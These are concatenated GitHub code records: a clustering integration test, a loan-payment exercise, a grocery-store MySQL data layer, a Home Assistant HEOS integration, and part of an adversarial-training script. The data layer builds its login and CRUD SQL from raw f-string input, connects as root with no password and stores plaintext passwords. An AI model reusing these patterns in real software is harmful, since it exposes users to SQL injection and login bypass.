param_epsilon=config['epsilon'], param_lambda=config['lambda'], param_k=config['k'], param_mu=config['mu'],\n param_pi=config['pi'], param_omicron=config['omicron'], param_upsilon=config['upsilon'])\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"\n Remove the output folder\n\n Returns\n -------\n None\n \"\"\"\n\n shutil.rmtree('{}/test_files/output'.format(current_script_dir))\n\n def test_result(self):\n\n \"\"\"\n Normal run where there are no clusters.\n The dataset is based on synthetic dataset used for original Chronoclust paper.\n Only testing the result file here.\n\n Returns\n -------\n None\n\n \"\"\"\n\n result_df = pd.read_csv('{}/result.csv'.format(out_dir))\n\n # test that we don't have any row in the result file.\n self.assertEqual(0, result_df.shape[0])\n\n # test the cluster points\n for i in range(5):\n cluster_dp_df = pd.read_csv('{}/cluster_points_D{}.csv'.format(out_dir, i))\n\n # test we only have 10 rows as there are only 10 rows in the dataset\n self.assertEqual(10, cluster_dp_df.shape[0])\n\n # check all datapoints are assigned to no cluster\n for row in cluster_dp_df.itertuples():\n cluster_id = getattr(row, 'cluster_id')\n self.assertEqual('None', cluster_id)\n\n\nif __name__ == '__main__':\n unt.main()\n","repo_name":"ghar1821/Chronoclust","sub_path":"chronoclust/tests/integration_test/no_cluster_test.py","file_name":"no_cluster_test.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"42981381386","text":"def fixed_monthly_payment(balance, annualInterestRate):\n currentBalance = balance\n monthlyInterestRate = annualInterestRate / 12.0\n fixedMonthlyPayment = 0\n\n while currentBalance > 0:\n currentBalance = balance\n fixedMonthlyPayment += 10\n\n for month in range(12):\n currentBalance -= fixedMonthlyPayment\n currentBalance += monthlyInterestRate * currentBalance\n\n\n return 'Lowest Payment: %s' % fixedMonthlyPayment\n","repo_name":"dtinianow/MITx-6.00.1x","sub_path":"pset02/p02/fixed_payment.py","file_name":"fixed_payment.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41366832785","text":"import mysql.connector\nfrom model import Produtos,Funcionario\n\n\ncnx = mysql.connector.connect(user='root', password='',\n host='127.0.0.1',\n database='mercearia')\n\n\n\nclass ProdutosDal():\n \n def cadastro (produto:Produtos):\n inserir_produto = f\"INSERT INTO `mercearia`.`produto` (`idProduto`, `nome`, `marca`,`categoria` , `descricao`, `valor`,`estoque`) VALUES (0, '{produto.nome}', '{produto.marca}','{produto.categoria}', '{produto.descricao}',{produto.valor},'{produto.estoque}');\"\n cursor = cnx.cursor()\n cursor.execute(inserir_produto)\n cnx.commit()\n cursor.close()\n print(\"\\nCadastro concluido com sucesso\\n\")\n \n def buscar(nome,tipo,qntd):\n cursor = cnx.cursor()\n if tipo == \"n\": \n sql = f\"SELECT * FROM produto WHERE nome = '{nome}';\"\n elif tipo == \"id\" or tipo == \"idBD\":\n sql = f\"SELECT * FROM produto WHERE idProduto = '{nome}';\" \n cursor.execute(sql)\n linhas = cursor.fetchall()\n result = []\n for linha in linhas:\n if tipo ==\"id\":\n desc = f'id: {linha[0]}\\nnome: {linha[1]}\\nmarca: {linha[2]}\\ncategoria: {linha[3]}\\ndescricao: {linha[4]}\\nvalor: {linha[5]}\\nestoque: {linha[6]}\\n'\n result.append(desc)\n \n print(\"Id:\", linha[0])\n print(\"Nome:\", linha[1])\n print(\"Marca:\", linha[2],)\n print(\"Categoria:\", linha[3],)\n print(\"Descrição:\", linha[4],)\n print(\"Valor:\", linha[5], )\n print(\"Estoque:\", linha[6],\"\\n\")\n else:\n desc = (linha[0],linha[1],linha[2],linha[3],linha[4],linha[5],linha[6],qntd) \n result.append(desc)\n cursor.close() \n return result \n else:\n sql = f\"SELECT * FROM produto WHERE categoria = '{nome}';\"\n \n cursor.execute(sql)\n linhas = cursor.fetchall() \n for linha in linhas:\n \n print(\"Id:\", linha[0])\n print(\"Nome:\", linha[1])\n print(\"Marca:\", linha[2],)\n print(\"Categoria:\", linha[3],)\n print(\"Descrição:\", linha[4],)\n print(\"Valor:\", linha[5], )\n print(\"Estoque:\", linha[6],\"\\n\")\n \n \n cursor.close()\n \n def alterar(id,nome,marca,categoria,descricao,valor):\n \n sql = f\"UPDATE produto SET nome = '{nome}', marca = '{marca}',categoria = '{categoria}', descricao = '{descricao}', valor = '{valor}' WHERE idProduto = '{id}'\"\n cursor = cnx.cursor()\n cursor.execute(sql)\n cnx.commit()\n cursor.close() \n \n def remove (id):\n \n sql = f\"DELETE FROM produto WHERE idProduto = {id};\"\n cursor = cnx.cursor()\n cursor.execute(sql)\n cnx.commit()\n cursor.close()\n \n def venda (id,quantidade):\n \n result = f\"SELECT * FROM produto WHERE idProduto = '{id}';\"\n cursor = cnx.cursor()\n cursor.execute(result)\n linhas = cursor.fetchall()\n \n if len(linhas) == 0:\n print(\"Produto não encontrado\")\n else: \n estoqueAtual = linhas[0][6]\n estoqueNovo = estoqueAtual - quantidade\n if estoqueNovo < 0 :\n print(f\"Só existem {estoqueAtual} no estoque desse produto\")\n \n else:\n sql = f\"UPDATE produto SET estoque = {estoqueNovo} WHERE idProduto = '{id}'\"\n cursor = cnx.cursor()\n cnx.commit()\n cursor.close()\n print(\"Estoque Atualizado \\n\")\n \n \n \nclass FuncionarioDal():\n \n \n def loginFuncionario(nome,senha):\n consultar = f\"SELECT * FROM funcionario WHERE nome = '{nome}' AND senha = '{senha}' AND staff=0;\"\n cursor = cnx.cursor()\n cursor.execute(consultar)\n linhas = cursor.fetchall()\n cursor.close()\n if len(linhas) == 0:\n return False\n else:\n return True\n def loginStaff(nome,senha): \n consultar = f\"SELECT * FROM funcionario WHERE nome = '{nome}' AND senha = '{senha}' AND staff = 1 ;\"\n cursor = cnx.cursor()\n cursor.execute(consultar)\n linhas = cursor.fetchall()\n cursor.close()\n if len(linhas) == 0:\n return False\n else:\n return True \n \n \n \n \n def cadastro (funcionario:Funcionario):\n \n inserir_funcionario = f\"INSERT INTO `mercearia`.`funcionario` (`staff`,`nome`, `senha`,`setor`) VALUES ({funcionario.staff}, '{funcionario.nome}', '{funcionario.senha}','{funcionario.setor}');\"\n cursor = cnx.cursor()\n cursor.execute(inserir_funcionario)\n cnx.commit()\n cursor.close()\n \n def cadastroVenda(descVenda,valorTotal,comprador,user,data):\n sql = f\"INSERT INTO `mercearia`.`venda` (`detalhes`, `comprador`, `funcionario`,`valor`,`data`) VALUES ( '{descVenda}', '{comprador}','{user}', '{valorTotal}','{data}');\"\n cursor = cnx.cursor()\n cursor.execute(sql)\n cnx.commit()\n cursor.close()\n print(\"Venda concluida com sucesso!\")\n \n def buscar(busca,tipo):\n \n if tipo == \"geral\":\n sql = \"SELECT * FROM venda\"\n elif tipo == \"id\":\n sql = f\"SELECT * FROM venda WHERE idVenda = {busca}\"\n elif tipo == \"funcionario\":\n sql = f\"SELECT * FROM venda WHERE funcionario = '{busca}'\"\n elif tipo == \"data\":\n sql = f\"SELECT * FROM venda WHERE data = {busca}\"\n elif tipo == \"dataFuncionario\":\n sql = f\"SELECT * FROM venda WHERE data = {busca[0]} AND funcionario = '{busca[1]}'\" \n \n cursor = cnx.cursor()\n cursor.execute(sql)\n resultado = cursor.fetchall()\n print(\"\\nResultado:\\n\")\n for linha in resultado:\n print(f\"Id venda: {linha[0]}\")\n print(f\"Produtos: {linha[1]}\")\n print(f\"Comprador: {linha[2]}\")\n print(f\"Funcionario: {linha[3]}\")\n print(f\"Valor total: {linha[4]}\")\n print(f\"Data: {linha[5].strftime('%d/%m/%Y')}\\n\")\n \n \nclass VendasDal:\n \n def renda(tipo,responseData,responseFuncionario):\n valorTotal = 0\n sql = \"SELECT * FROM venda\"\n cursor = cnx.cursor()\n cursor.execute(sql)\n linhas = cursor.fetchall()\n print(\"\\nProdutos vendidos:\\n\")\n for linha in linhas:\n data = str(linha[5])\n ano = int(data[:4])\n mes = data[5:7]\n funcionario = linha[3]\n\n \n try:\n funcionarioMes:str = responseData[:2]\n funcionarioAno = int(responseData[2:]) \n\n if tipo == \"mes\" and mes == funcionarioMes and ano == funcionarioAno:\n print(\"\\nId:\", linha[0])\n print(\"Detalhes:\", linha[1])\n print(\"Comprador:\", linha[2])\n print(\"Funcionario:\", linha[3])\n print(\"Valor:\",linha[4])\n print(f\"Data: {linha[5]}\\n\")\n valorTotal = valorTotal + linha[4]\n elif tipo == \"funcionarioMes\" and mes == funcionarioMes and ano == funcionarioAno and responseFuncionario == funcionario:\n print(\"\\nId:\", linha[0])\n print(\"Detalhes:\", linha[1])\n print(\"Comprador:\", linha[2])\n print(\"Funcionario:\", linha[3])\n print(\"Valor:\",linha[4])\n print(f\"Data: {linha[5]}\\n\")\n valorTotal = valorTotal + linha[4] \n except:\n if tipo == \"ano\" and ano == responseData:\n print(\"\\nId:\", linha[0])\n print(\"Detalhes:\", linha[1])\n print(\"Comprador:\", linha[2])\n print(\"Funcionario:\", linha[3])\n print(\"Valor:\",linha[4])\n print(f\"Data: {linha[5]}\\n\")\n valorTotal = valorTotal + linha[4]\n elif tipo == \"funcionarioAno\" and ano == responseData and responseFuncionario == funcionario:\n print(\"\\nId:\", linha[0])\n print(\"Detalhes:\", linha[1])\n print(\"Comprador:\", linha[2])\n print(\"Funcionario:\", linha[3])\n print(\"Valor:\",linha[4])\n print(f\"Data: {linha[5]}\\n\")\n valorTotal = valorTotal + linha[4] \n \n\n\n \n print(f\"\\nVALOR DE GANHOS TOTAIS: {valorTotal}\\n\") \n cursor.close() \n \n \n \n \n\n \n \n \n ","repo_name":"welingtonguilhardi/mercearia","sub_path":"dal.py","file_name":"dal.py","file_ext":"py","file_size_in_byte":9436,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42665995180","text":"\"\"\"Denon HEOS Media Player.\"\"\"\nimport asyncio\nfrom datetime import timedelta\nimport logging\nfrom typing import Dict\n\nfrom pyheos import Heos, HeosError, const as heos_const\nfrom pyheos.player import HeosPlayer # group\nimport voluptuous as vol\n\nfrom homeassistant.components.media_player.const import DOMAIN as MEDIA_PLAYER_DOMAIN\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_HOST, EVENT_HOMEASSISTANT_STOP\nfrom homeassistant.exceptions import ConfigEntryNotReady\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.typing import ConfigType, HomeAssistantType\nfrom homeassistant.util import Throttle\n\nfrom . import services\nfrom .config_flow import format_title\nfrom .const import (\n COMMAND_RETRY_ATTEMPTS,\n COMMAND_RETRY_DELAY,\n DATA_CONTROLLER_MANAGER,\n DATA_SOURCE_MANAGER,\n DOMAIN,\n SIGNAL_HEOS_UPDATED,\n)\n\nCONFIG_SCHEMA = vol.Schema(\n {DOMAIN: vol.Schema({vol.Required(CONF_HOST): cv.string})}, extra=vol.ALLOW_EXTRA\n)\n\nMIN_UPDATE_SOURCES = timedelta(seconds=1)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup(hass: HomeAssistantType, config: ConfigType):\n \"\"\"Set up the HEOS component.\"\"\"\n if DOMAIN not in config:\n return True\n host = config[DOMAIN][CONF_HOST]\n entries = hass.config_entries.async_entries(DOMAIN)\n if not entries:\n # Create new entry based on config\n hass.async_create_task(\n hass.config_entries.flow.async_init(\n DOMAIN, context={\"source\": \"import\"}, data={CONF_HOST: host}\n )\n )\n else:\n # Check if host needs to be updated\n entry = entries[0]\n if entry.data[CONF_HOST] != host:\n hass.config_entries.async_update_entry(\n entry, title=format_title(host), data={**entry.data, CONF_HOST: host}\n )\n\n return True\n\n\nasync def async_setup_entry(hass: HomeAssistantType, entry: ConfigEntry):\n \"\"\"Initialize config entry which represents the HEOS controller.\"\"\"\n # Custom component warning January 2022\n _LOGGER.warning(\n \"Grouping support for HEOS was added to the official integration in version 2021.12 and there is no longer any reason for using the custom integration you have installed. If you are using the mini-media-player card, remember to change card config platform from heos to media_player for grouping to work. This custom integration may exist for a while for testing other features such as media browsing and similar, feel free to continue using it.\"\n )\n\n # For backwards compat\n if entry.unique_id is None:\n hass.config_entries.async_update_entry(entry, unique_id=DOMAIN)\n\n host = entry.data[CONF_HOST]\n # Setting all_progress_events=False ensures that we only receive a\n # media position update upon start of playback or when media changes\n controller = Heos(host, all_progress_events=False)\n try:\n await controller.connect(auto_reconnect=True)\n # Auto reconnect only operates if initial connection was successful.\n except HeosError as error:\n await controller.disconnect()\n _LOGGER.debug(\"Unable to connect to controller %s: %s\", host, error)\n raise ConfigEntryNotReady from error\n\n # Disconnect when shutting down\n async def disconnect_controller(event):\n await controller.disconnect()\n\n hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, disconnect_controller)\n\n # Get players and sources\n try:\n players = await controller.get_players()\n favorites = {}\n if controller.is_signed_in:\n favorites = await controller.get_favorites()\n else:\n _LOGGER.warning(\n \"%s is not logged in to a HEOS account and will be unable to retrieve \"\n \"HEOS favorites: Use the 'heos.sign_in' service to sign-in to a HEOS account\",\n host,\n )\n inputs = await controller.get_input_sources()\n music_sources = await controller.get_music_sources()\n except HeosError as error:\n await controller.disconnect()\n _LOGGER.debug(\"Unable to retrieve players and sources: %s\", error)\n raise ConfigEntryNotReady from error\n\n controller_manager = ControllerManager(hass, controller)\n await controller_manager.connect_listeners()\n\n await controller_manager.groupmanager.refresh_groups() # group\n\n source_manager = SourceManager(favorites, inputs, music_sources)\n source_manager.connect_update(hass, controller)\n\n hass.data[DOMAIN] = {\n DATA_CONTROLLER_MANAGER: controller_manager,\n DATA_SOURCE_MANAGER: source_manager,\n MEDIA_PLAYER_DOMAIN: players,\n }\n\n services.register(hass, controller)\n\n hass.async_create_task(\n hass.config_entries.async_forward_entry_setup(entry, MEDIA_PLAYER_DOMAIN)\n )\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistantType, entry: ConfigEntry):\n \"\"\"Unload a config entry.\"\"\"\n controller_manager = hass.data[DOMAIN][DATA_CONTROLLER_MANAGER]\n await controller_manager.disconnect()\n hass.data.pop(DOMAIN)\n\n services.remove(hass)\n\n return await hass.config_entries.async_forward_entry_unload(\n entry, MEDIA_PLAYER_DOMAIN\n )\n\n\nclass ControllerManager:\n \"\"\"Class that manages events of the controller.\"\"\"\n\n def __init__(self, hass, controller):\n \"\"\"Init the controller manager.\"\"\"\n self._hass = hass\n self._device_registry = None\n self._entity_registry = None\n self.controller = controller\n self._signals = []\n self.groupmanager = GroupManager(hass, controller) # group\n\n async def connect_listeners(self):\n \"\"\"Subscribe to events of interest.\"\"\"\n self._device_registry, self._entity_registry = await asyncio.gather(\n self._hass.helpers.device_registry.async_get_registry(),\n self._hass.helpers.entity_registry.async_get_registry(),\n )\n # Handle controller events\n self._signals.append(\n self.controller.dispatcher.connect(\n heos_const.SIGNAL_CONTROLLER_EVENT, self._controller_event\n )\n )\n # Handle connection-related events\n self._signals.append(\n self.controller.dispatcher.connect(\n heos_const.SIGNAL_HEOS_EVENT, self._heos_event\n )\n )\n\n async def disconnect(self):\n \"\"\"Disconnect subscriptions.\"\"\"\n for signal_remove in self._signals:\n signal_remove()\n self._signals.clear()\n self.controller.dispatcher.disconnect_all()\n await self.controller.disconnect()\n\n async def _controller_event(self, event, data):\n \"\"\"Handle controller event.\"\"\"\n if event == heos_const.EVENT_PLAYERS_CHANGED:\n self.update_ids(data[heos_const.DATA_MAPPED_IDS])\n # Update players\n self._hass.helpers.dispatcher.async_dispatcher_send(SIGNAL_HEOS_UPDATED)\n\n async def _heos_event(self, event):\n \"\"\"Handle connection event.\"\"\"\n if event == heos_const.EVENT_CONNECTED:\n try:\n # Retrieve latest players and refresh status\n data = await self.controller.load_players()\n self.update_ids(data[heos_const.DATA_MAPPED_IDS])\n except HeosError as ex:\n _LOGGER.error(\"Unable to refresh players: %s\", ex)\n # Update players\n self._hass.helpers.dispatcher.async_dispatcher_send(SIGNAL_HEOS_UPDATED)\n\n def update_ids(self, mapped_ids: Dict[int, int]):\n \"\"\"Update the IDs in the device and entity registry.\"\"\"\n # mapped_ids contains the mapped IDs (new:old)\n for new_id, old_id in mapped_ids.items():\n # update device registry\n entry = self._device_registry.async_get_device({(DOMAIN, old_id)})\n new_identifiers = {(DOMAIN, new_id)}\n if entry:\n self._device_registry.async_update_device(\n entry.id, new_identifiers=new_identifiers\n )\n _LOGGER.debug(\n \"Updated device %s identifiers to %s\", entry.id, new_identifiers\n )\n # update entity registry\n entity_id = self._entity_registry.async_get_entity_id(\n MEDIA_PLAYER_DOMAIN, DOMAIN, str(old_id)\n )\n if entity_id:\n self._entity_registry.async_update_entity(\n entity_id, new_unique_id=str(new_id)\n )\n _LOGGER.debug(\"Updated entity %s unique id to %s\", entity_id, new_id)\n\n\nclass SourceManager:\n \"\"\"Class that manages sources for players.\"\"\"\n\n def __init__(\n self,\n favorites,\n inputs,\n music_sources,\n *,\n retry_delay: int = COMMAND_RETRY_DELAY,\n max_retry_attempts: int = COMMAND_RETRY_ATTEMPTS,\n ):\n \"\"\"Init input manager.\"\"\"\n self.retry_delay = retry_delay\n self.max_retry_attempts = max_retry_attempts\n self.favorites = favorites\n self.inputs = inputs\n self.music_sources = music_sources\n self.source_list = self._build_source_list()\n\n def _build_source_list(self):\n \"\"\"Build a single list of inputs from various types.\"\"\"\n source_list = []\n source_list.extend([favorite.name for favorite in self.favorites.values()])\n source_list.extend([source.name for source in self.inputs])\n return source_list\n\n async def play_source(self, source: str, player):\n \"\"\"Determine type of source and play it.\"\"\"\n index = next(\n (\n index\n for index, favorite in self.favorites.items()\n if favorite.name == source\n ),\n None,\n )\n if index is not None:\n await player.play_favorite(index)\n return\n\n input_source = next(\n (\n input_source\n for input_source in self.inputs\n if input_source.name == source\n ),\n None,\n )\n if input_source is not None:\n await player.play_input_source(input_source)\n return\n\n _LOGGER.error(\"Unknown source: %s\", source)\n\n def get_current_source(self, now_playing_media):\n \"\"\"Determine current source from now playing media.\"\"\"\n # Match input by input_name:media_id\n if now_playing_media.source_id == heos_const.MUSIC_SOURCE_AUX_INPUT:\n return next(\n (\n input_source.name\n for input_source in self.inputs\n if input_source.input_name == now_playing_media.media_id\n ),\n None,\n )\n # Try matching favorite by name:station or media_id:album_id\n return next(\n (\n source.name\n for source in self.favorites.values()\n if source.name == now_playing_media.station\n or source.media_id == now_playing_media.album_id\n ),\n None,\n )\n\n def connect_update(self, hass, controller):\n \"\"\"\n Connect listener for when sources change and signal player update.\n\n EVENT_SOURCES_CHANGED is often raised multiple times in response to a\n physical event therefore throttle it. Retrieving sources immediately\n after the event may fail so retry.\n \"\"\"\n\n @Throttle(MIN_UPDATE_SOURCES)\n async def get_sources():\n retry_attempts = 0\n while True:\n try:\n favorites = {}\n if controller.is_signed_in:\n favorites = await controller.get_favorites()\n inputs = await controller.get_input_sources()\n return favorites, inputs\n except HeosError as error:\n if retry_attempts < self.max_retry_attempts:\n retry_attempts += 1\n _LOGGER.debug(\n \"Error retrieving sources and will retry: %s\", error\n )\n await asyncio.sleep(self.retry_delay)\n else:\n _LOGGER.error(\"Unable to update sources: %s\", error)\n return\n\n async def update_sources(event, data=None):\n if event in (\n heos_const.EVENT_SOURCES_CHANGED,\n heos_const.EVENT_USER_CHANGED,\n heos_const.EVENT_CONNECTED,\n ):\n sources = await get_sources()\n # If throttled, it will return None\n if sources:\n self.favorites, self.inputs = sources\n self.source_list = self._build_source_list()\n _LOGGER.debug(\"Sources updated due to changed event\")\n # Let players know to update\n hass.helpers.dispatcher.async_dispatcher_send(SIGNAL_HEOS_UPDATED)\n\n controller.dispatcher.connect(\n heos_const.SIGNAL_CONTROLLER_EVENT, update_sources\n )\n controller.dispatcher.connect(heos_const.SIGNAL_HEOS_EVENT, update_sources)\n\n\nclass GroupManager:\n \"\"\"Class that manages player groups.\"\"\"\n\n def __init__(self, hass, controller):\n \"\"\"Init the group manager.\"\"\"\n self._hass = hass\n self.controller = controller\n self.groups = {}\n\n async def refresh_groups(self):\n self.groups = await self.controller.get_groups(refresh=True)\n\n def playerdict(self, players):\n playerdict = {}\n for player in players:\n playerdict[player.player_id] = player\n return playerdict\n\n def player_member(self, group, player):\n for member in group.members:\n if member.player_id == player.player_id:\n return True\n return False\n\n def players_member(self, group, players: Dict[int, HeosPlayer]):\n for player in players.values():\n if self.player_member(group, player):\n return True\n return False\n\n def player_master(self, group, player):\n if group.leader.player_id == player.player_id:\n return True\n return False\n\n def entity_id_from_player_id(self, playerid): # group\n for device in self._hass.data[MEDIA_PLAYER_DOMAIN].entities:\n try:\n if playerid == device.player_id:\n return device.entity_id\n except AttributeError as e:\n pass\n return None\n\n def get_groupid(self, player):\n # Groupid is also playerid of leader\n get_groupid = \"\"\n for groupid, group in self.groups.items():\n if self.player_master(group, player) or self.player_member(group, player):\n get_groupid = groupid\n return get_groupid\n return get_groupid\n\n def get_grouplist(self, groupid):\n grouplist = []\n group = self.groups.get(groupid, None)\n if group is not None:\n grouplist.append(self.entity_id_from_player_id(group.leader.player_id))\n # grouplist.append(group.leader)\n for member in group.members:\n grouplist.append(self.entity_id_from_player_id(member.player_id))\n # grouplist.append(member)\n return grouplist\n\n def get_groupname(self, groupid):\n groupname = \"\"\n group = self.groups.get(groupid, None)\n if group is not None:\n groupname = group.name\n return groupname\n\n async def groupinfo(self):\n \"\"\"Display HEOS players and groups in log for debugging purposes.\"\"\"\n try:\n await self.refresh_groups()\n players = await self.controller.get_players(refresh=True)\n\n playerstring = \"\\n\\nHEOS PLAYERS:\\n\"\n if not players:\n playerstring += f\" None\\n{players}\\n\"\n else:\n for playerid, player in players.items():\n playerstring += f\" Player: {player.name}, ID: {player.player_id}, IP: {player.ip_address}, State: {player.state}\\n\"\n _LOGGER.info(f\"{playerstring}\\n\\n\")\n\n groupstring = \"\\n\\nHEOS GROUPS:\\n\"\n if not self.groups:\n groupstring += f\" None\\n{self.groups}\\n\"\n else:\n for groupid, group in self.groups.items():\n groupstring += f\" Group: {group.name}, ID: {groupid}\\n\"\n groupstring += f\" Leader: {group.leader.name}, ID: {group.leader.player_id}\\n\"\n for member in group.members:\n groupstring += (\n f\" Member: {member.name}, ID: {member.player_id}\\n\"\n )\n _LOGGER.info(f\"{groupstring}\\n\\n\")\n\n return playerstring + groupstring\n\n except HeosError as err:\n _LOGGER.error(\"Unable to get group info: %s\", err)\n\n async def join(self, master: HeosPlayer, members: Dict[int, HeosPlayer]):\n try:\n await self.refresh_groups()\n newgroup = {}\n\n for groupid, group in self.groups.items():\n # Already master\n if master.player_id == group.leader.player_id:\n newgroup[master.player_id] = master\n newgroup.update(self.playerdict(group.members))\n _LOGGER.debug(\n f\"HEOS grouping - Group existing with same master: {newgroup}\"\n )\n break\n\n # No existing groups or master not member\n if not self.groups or len(newgroup) == 0:\n newgroup[master.player_id] = master\n _LOGGER.debug(f\"HEOS grouping - New master: {master}\")\n newgroup.update(members)\n _LOGGER.debug(f\"HEOS grouping - New members: {members}\")\n\n return await self.groupcmd_controller(newgroup)\n\n except HeosError as err:\n _LOGGER.error(f\"HEOS grouping - unable to join: {err}\")\n\n async def unjoin(self, members: Dict[int, HeosPlayer]):\n try:\n await self.refresh_groups()\n newgroup = {}\n\n for groupid, group in self.groups.items():\n newgroup = {}\n if group.leader.player_id in members:\n newgroup[group.leader.player_id] = group.leader\n _LOGGER.debug(\n f\"HEOS grouping - ungrouping master, removing group: {group.leader.name}\"\n )\n break\n elif self.players_member(group, members):\n newgroup[group.leader.player_id] = group.leader\n _LOGGER.debug(\n f\"HEOS grouping - found member in group: {group.members} where master: {group.leader}\"\n )\n for oldmember in group.members:\n for removeplayer in members.values():\n if oldmember.player_id == removeplayer.player_id:\n _LOGGER.debug(\n f\"HEOS grouping - ungrouping, removing: {oldmember.name}\"\n )\n else:\n newgroup[oldmember.player_id] = oldmember\n break\n\n return await self.groupcmd_controller(newgroup)\n\n except HeosError as err:\n _LOGGER.error(f\"HEOS grouping - unable to unjoin: {err}\")\n\n async def groupcmd_controller(self, newgroup: Dict[int, HeosPlayer]):\n if len(newgroup) > 0:\n cmdstring = \"\"\n for memberid, member in newgroup.items():\n cmdstring += f\"{member.player_id},\"\n cmdstring.rstrip(\",\")\n _LOGGER.debug(f\"HEOS grouping - sending to controller: {cmdstring}\")\n # _LOGGER.debug(f\"self.controller.create_group({cmdstring}, \" \")\")\n return await self.controller.create_group(cmdstring, \"\")\n else:\n _LOGGER.debug(f\"HEOS grouping - nothing to do: {newgroup}\")\n return None\n","repo_name":"tmjo/heos_custom","sub_path":"custom_components/heos/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20260,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"1915236290","text":"# This module is adapted from https://github.com/pytorch/examples/blob/master/imagenet/main.py\nimport argparse\nimport os\nimport time\nimport sys\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nimport torch.optim\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nfrom torch.autograd import Variable\nimport math\nimport numpy as np\nfrom utils_imagenet import *\nfrom validation import validate, validate_pgd, validate_pgd_random, validate_random\nimport torchvision.models as models\nfrom model.resnet_imagenet import ResNet50\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='PyTorch ImageNet Training')\n parser.add_argument('--data', default='./data/val', help='path to dataset')\n parser.add_argument('-c', '--config', default='config.yml', type=str, metavar='Path',\n help='path to the config file (default: config.yml)')\n parser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',\n help='evaluate model on validation set')\n parser.add_argument('--eval_model_path', default=None, type=str, help='path to the RPF model')\n parser.add_argument('--pretrained', dest='pretrained', action='store_true',\n help='use pre-trained model')\n\n parser.add_argument('--lr', default=0.02, type=float,\n help='initial learning rate')\n parser.add_argument('--lr_schedule', default='cosine',\n choices=['multistep', 'cosine'])\n parser.add_argument('--epochs', default=90, type=int,\n help='total training epochs')\n parser.add_argument('--batch_size', default=1024, type=int,\n help='training batch size')\n parser.add_argument('--clip_eps', default=4, type=float,\n help='epsilon')\n parser.add_argument('--fgsm_step', default=4, type=float,\n help='step size (alpha)')\n parser.add_argument('--save_dir', default=None, type=str, help='Output directory')\n parser.add_argument('--adv_train', action='store_true', help='if adv_train')\n\n # random setting\n parser.add_argument('--rp', action='store_true', help='if random projection')\n parser.add_argument('--rp_out_channel', default=0, type=int, help='number of rp output channels')\n parser.add_argument('--rp_weight_decay', default=5e-4, type=float)\n\n return parser.parse_args()\n\n\nconfig = parse_config_file(parse_args())\nif config.save_dir is not None:\n config.output_name = config.save_dir\nif config.lr is not None:\n config.TRAIN.lr = config.lr\nif config.epochs is not None:\n config.TRAIN.epochs = config.epochs\nif config.batch_size is not None:\n config.DATA.batch_size = config.batch_size\nif config.clip_eps is not None:\n config.ADV.clip_eps = config.clip_eps\nif config.fgsm_step is not None:\n config.ADV.fgsm_step = config.fgsm_step\n\n\ndef main():\n # Parase config file and initiate logging\n logger = initiate_logger(config.output_name)\n # print = logger.info\n cudnn.benchmark = True\n\n # Scale and initialize the parameters\n best_pgd_acc = 0\n best_epoch = 0\n standard_acc_at_best_pgd = 0\n best_pgd_acc_k50 = 0\n\n config.ADV.n_repeats = 1\n\n config.TRAIN.epochs = int(math.ceil(config.TRAIN.epochs / config.ADV.n_repeats))\n config.ADV.fgsm_step /= config.DATA.max_color_value\n config.ADV.clip_eps /= config.DATA.max_color_value\n\n # Create output folder\n if not os.path.isdir(config.output_name):\n os.makedirs(config.output_name)\n\n # Log the config details\n logger.info(pad_str(' ARGUMENTS '))\n for k, v in config.items(): logger.info('{}: {}'.format(k, v))\n logger.info(pad_str(''))\n\n if os.path.exists(os.path.join(config.output_name, 'model_latest.pth')):\n config.pretrained = False\n\n model = ResNet50(pretrained=config.pretrained, rp=config.rp, rp_out_channel=config.rp_out_channel).cuda()\n logger.info(model)\n\n # Wrap the model into DataParallel\n model = torch.nn.DataParallel(model)\n\n # Criterion:\n criterion = nn.CrossEntropyLoss().cuda()\n\n # Optimizer:\n optimizer = torch.optim.SGD(model.parameters(), config.TRAIN.lr,\n momentum=config.TRAIN.momentum,\n weight_decay=config.TRAIN.weight_decay)\n\n # scheduler\n if config.lr_schedule == 'cosine':\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, float(config.epochs))\n\n if os.path.exists(os.path.join(config.output_name, 'model_latest.pth')):\n model_path = os.path.join(config.output_name, 'model_latest.pth')\n\n checkpoint = torch.load(model_path)\n config.TRAIN.start_epoch = checkpoint['epoch'] + 1\n best_pgd_acc = checkpoint['best_pgd_acc']\n model.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n logger.info(\"=> Automatic resume from '{}' (epoch {})\"\n .format(model_path, checkpoint['epoch']))\n else:\n logger.info(\"Train from scratch\")\n\n # Initiate data loaders\n traindir = os.path.join(config.data, 'train')\n valdir = os.path.join(config.data, 'val')\n\n train_dataset = datasets.ImageFolder(\n traindir,\n transforms.Compose([\n transforms.RandomResizedCrop(config.DATA.crop_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n ]))\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=config.DATA.batch_size, shuffle=True,\n num_workers=config.DATA.workers, pin_memory=True, sampler=None)\n\n val_loader = torch.utils.data.DataLoader(\n datasets.ImageFolder(valdir, transforms.Compose([\n transforms.Resize(config.DATA.img_size),\n transforms.CenterCrop(config.DATA.crop_size),\n transforms.ToTensor(),\n ])),\n batch_size=config.DATA.batch_size, shuffle=False,\n num_workers=config.DATA.workers, pin_memory=True)\n\n # If in evaluate mode: perform validation on PGD attacks as well as clean samples\n if config.evaluate:\n # load model\n if 